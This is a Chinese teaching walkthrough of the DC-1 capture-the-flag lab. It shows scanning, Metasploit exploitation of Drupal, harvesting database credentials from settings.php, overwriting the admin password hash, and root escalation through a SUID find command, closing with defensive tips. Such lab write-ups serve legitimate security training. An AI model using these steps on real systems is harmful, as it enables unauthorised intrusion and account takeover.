DC-1靶场
字数 1099 2025-08-10 23:41:53

DC-1靶场渗透测试教学文档

1. 靶场环境搭建

下载与安装

  • 下载地址: https://www.five86.com/downloads.html
  • 解压后安装虚拟机
  • 网络模式选择NAT模式(与Kali攻击机同一网段)

2. 信息收集阶段

发现目标IP

使用以下命令扫描本地网络:

sudo netdiscover -i eth0 -r 192.168.229.0/24
# 或
sudo arp-scan -l

示例发现IP: 192.168.229.168

端口扫描与服务识别

nmap -sV 192.168.229.168

典型扫描结果:

  • 22端口: SSH服务
  • 80端口: HTTP服务(Drupal框架)
  • 111端口: rpcbind服务

3. 渗透测试阶段

Drupal漏洞利用

  1. 使用Metasploit搜索Drupal相关漏洞:
msfconsole
search Drupal
  1. 选择可用的exploit(示例中使用序号1):
use 1
show options
set RHOSTS 192.168.229.168
run

获取交互式shell

成功利用后获取shell:

python -c 'import pty;pty.spawn("/bin/bash")'

发现flag1

ls
cat flag1.txt

flag1提示: "每个好的CMS框架都有配置文件"

查找Drupal配置文件

Drupal配置文件路径通常为:

/sites/default/settings.php

查看内容:

cat /var/www/sites/default/settings.php

发现flag2和数据库凭据:

  • 数据库名: drupaldb
  • 用户名: dbuser
  • 密码: R0ck3t

4. 数据库操作

连接MySQL数据库

mysql -u dbuser -pR0ck3t

数据库查询

show databases;
use drupaldb;
show tables;
select * from users;

可看到用户和加密的密码

修改管理员密码

  1. 使用Drupal的密码哈希脚本生成新密码哈希:
cd /var/www/scripts/
php password-hash.sh 123456
  1. 更新数据库:
update users set pass="$S$DlOpquKGPrOIP7mdYcaPDlr8lEb/arzt1zOh8HXfjseFyZRGpFBf" where name="admin";

登录后台获取flag3

使用admin/123456登录Drupal后台,在Content模块下找到flag3:
提示: "Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow."

5. 权限提升

查找flag4

find / -name flag4.txt
cat /home/flag4/flag4.txt

提示需要root权限

SUID提权

  1. 查找具有SUID权限的文件:
find / -user root -perm -4000 -print 2>/dev/null
# 或
find / -perm -u=s -type f 2>/dev/null
  1. 发现find命令具有SUID权限,利用它提权:
find / -exec "/bin/bash" -p \;
  1. 获取root权限后查找最终flag:
find / -name 'flag*'
cat /root/thefinalflag.txt

关键知识点总结

  1. 信息收集: 使用netdiscover/arp-scan发现目标,nmap识别服务
  2. 漏洞利用: Metasploit框架对Drupal的利用
  3. 配置文件泄露: Drupal的settings.php包含敏感信息
  4. 数据库操作: 通过数据库凭据修改用户密码
  5. 权限提升: 利用SUID权限的find命令进行提权
  6. 标志获取: 遵循每个flag的提示逐步深入

防御建议

  1. 及时更新CMS系统和插件
  2. 配置文件设置适当权限(如settings.php设置为只读)
  3. 数据库使用强密码且不与系统其他账户共用
  4. 限制具有SUID权限的命令数量
  5. 定期进行安全审计和渗透测试
DC-1靶场渗透测试教学文档 1. 靶场环境搭建 下载与安装 下载地址: https://www.five86.com/downloads.html 解压后安装虚拟机 网络模式选择NAT模式(与Kali攻击机同一网段) 2. 信息收集阶段 发现目标IP 使用以下命令扫描本地网络: 示例发现IP: 192.168.229.168 端口扫描与服务识别 典型扫描结果: 22端口: SSH服务 80端口: HTTP服务(Drupal框架) 111端口: rpcbind服务 3. 渗透测试阶段 Drupal漏洞利用 使用Metasploit搜索Drupal相关漏洞: 选择可用的exploit(示例中使用序号1): 获取交互式shell 成功利用后获取shell: 发现flag1 flag1提示: "每个好的CMS框架都有配置文件" 查找Drupal配置文件 Drupal配置文件路径通常为: 查看内容: 发现flag2和数据库凭据: 数据库名: drupaldb 用户名: dbuser 密码: R0ck3t 4. 数据库操作 连接MySQL数据库 数据库查询 可看到用户和加密的密码 修改管理员密码 使用Drupal的密码哈希脚本生成新密码哈希: 更新数据库: 登录后台获取flag3 使用admin/123456登录Drupal后台,在Content模块下找到flag3: 提示: "Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow." 5. 权限提升 查找flag4 提示需要root权限 SUID提权 查找具有SUID权限的文件: 发现find命令具有SUID权限,利用它提权: 获取root权限后查找最终flag: 关键知识点总结 信息收集 : 使用netdiscover/arp-scan发现目标,nmap识别服务 漏洞利用 : Metasploit框架对Drupal的利用 配置文件泄露 : Drupal的settings.php包含敏感信息 数据库操作 : 通过数据库凭据修改用户密码 权限提升 : 利用SUID权限的find命令进行提权 标志获取 : 遵循每个flag的提示逐步深入 防御建议 及时更新CMS系统和插件 配置文件设置适当权限(如settings.php设置为只读) 数据库使用强密码且不与系统其他账户共用 限制具有SUID权限的命令数量 定期进行安全审计和渗透测试